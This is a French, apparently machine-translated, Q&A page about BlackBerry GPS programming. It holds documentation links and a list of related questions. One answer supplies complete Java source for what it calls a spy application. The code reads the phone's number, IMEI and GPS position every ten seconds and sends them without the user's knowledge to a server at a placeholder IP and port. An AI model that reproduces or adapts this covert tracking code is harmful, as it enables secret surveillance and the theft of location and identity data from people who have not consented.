Je veux savoir comment créer un programme GPS dans BlackBerry?Comment démarrer le programme GPS dans blackberry?
-1
A
Répondre
2
Si vous faites la programmation GPS sur un BlackBerry, il y a deux bonnes sources d'information:
Source: http://blackberry.synclastic.com/blackberry-gps-programming/
3
utilisation javax.microedition.location
Voir BB Dev Lab - Introduction to Location-based Services (ZIP)
Toni Westbrook - Creating a Blackberry GPS Tracker
riccomini - code blackberry gps
riccomini - code blackberry storm gps
Voir aussi blackberrymapsdemo et des échantillons gpsdemo en 4.5/4.6 plugin Eclipse
(composants \ samples \ com \ samples bord de \ \ device)
0
J'ai travaillé sur un projet où je dois faire une application espion pour envoyer la localisation GPS de l'utilisateur au serveur sans le connaître ici est le code pour cela j'espère qu'il peut vous aider un peu.
package mypackage;
import java.io.OutputStreamWriter;
import java.util.Date;
import java.util.Timer;
import java.util.TimerTask;
import javax.microedition.io.Connector;
import javax.microedition.io.SocketConnection;
import javax.microedition.location.LocationProvider;
import net.rim.blackberry.api.phone.Phone;
import net.rim.device.api.gps.BlackBerryCriteria;
import net.rim.device.api.gps.BlackBerryLocation;
import net.rim.device.api.gps.BlackBerryLocationProvider;
import net.rim.device.api.gps.GPSInfo;
import net.rim.device.api.i18n.SimpleDateFormat;
import net.rim.device.api.system.Application;
import net.rim.device.api.system.IDENInfo;
import net.rim.device.api.ui.component.Dialog;
public class MyApp extends Application
{
public BlackBerryCriteria _criteria;
public BlackBerryLocationProvider _locationProvider;
public BlackBerryLocation _location;
public SocketConnection socket;
double lat;
double lon;
public Timer _timer;
public TimerTask _timerTask;
public String _imei;
public Date date;
public String pNumber;
public static void main(String[] args)
{
MyApp theApp = new MyApp();
theApp.enterEventDispatcher();
}
public MyApp()
{
_imei = IDENInfo.imeiToString(IDENInfo.getIMEI());
pNumber = Phone.getDevicePhoneNumber(true);
_criteria = new BlackBerryCriteria();
if(GPSInfo.isGPSModeAvailable(GPSInfo.GPS_MODE_AUTONOMOUS)){
_criteria.setMode(GPSInfo.GPS_MODE_AUTONOMOUS);
}else{
Dialog.alert("GPS not Available");
}
_timer = new Timer();
_timerTask = new TimerTask(){
public void run() {
try{
String currentdate = new SimpleDateFormat("yy/MM/dd").format(new Date(System.currentTimeMillis()));
_criteria.setHorizontalAccuracy(5);
_criteria.setVerticalAccuracy(5);
_criteria.setPreferredResponseTime(10000);
_locationProvider = (BlackBerryLocationProvider)LocationProvider.getInstance(_criteria);
_location= (BlackBerryLocation)_locationProvider.getLocation(-1);
lat =_location.getQualifiedCoordinates().getLatitude();
lon = _location.getQualifiedCoordinates().getLongitude();
String url = "<your IP address with port no(Format: 000.000.000.000:Port>;deviceside = false";
socket = (SocketConnection)Connector.open(url,Connector.READ_WRITE);
socket.setSocketOption(SocketConnection.KEEPALIVE,1);
OutputStreamWriter _out = new OutputStreamWriter(socket.openOutputStream());
String data = pNumber+"##"+_imei+"##"+lat+"##"+lon+"##"+currentdate+"##";
int length = data.length();
_out.write(data,0,length);
_out.close();
socket.close();
}catch(Exception e){
Dialog.alert(e.toString());
}
}
};
_timer.scheduleAtFixedRate(_timerTask, 0,10000);
}
}
Questions connexes
- 1. Blackberry JDE GPS getLocation() LocationException
- 2. Comment démarrer la programmation Blackberry?
- 3. Comment éteindre le GPS par programmation sur un Blackberry
- 4. Comment démarrer un programme Java?
- 5. Démarrer par programme UserControlTestContainer.exe
- 6. Démarrer le programme sur un deuxième moniteur?
- 7. "Impossible de démarrer le programme" (Debug)
- 8. Application Blackberry (envoi de coordonnées GPS au serveur ...)
- 9. Blackberry - comment démarrer mon propre service au démarrage du téléphone?
- 10. Comment activer le GPS par programmation dans Android Cupcake
- 11. Démarrer le programme sur le plugin matériel USB
- 12. Comment démarrer le débogage?
- 13. VS 2008 Édition - >> Impossible de démarrer le programme
- 14. Obtenir des données gps de blackberry (pearl) directement à partir de l'interface usb
- 15. Démarrer et contrôler deux instances d'Excel dans mon programme?
- 16. Démarrer le débogage avec DDD
- 17. Démarrer le processus de surveillance dans le système
- 18. Comment démarrer le processus de jumelage Bluetooth?
- 19. Comment démarrer le programme associé lors de la sélection de plusieurs fichiers?
- 20. Comment définir une police pour le texte LabelField dans Blackberry?
- 21. Comment déboguer l'application blackberry dans l'émulateur et le périphérique
- 22. comment surmonter le problème de police dans blackberry?
- 23. JQuery - démarrer le tutoriel
- 24. Parse GPS To Degrees
- 25. Application GPS avec CLCorelocation
- 26. Comment travailler avec GPS en utilisant
- 27. Android GPS Format résultat
- 28. iPhone GPS Performance
- 29. Correction de position GPS
- 30. Comment configurer un programme serveur pour démarrer automatiquement au moment du démarrage dans SUSE?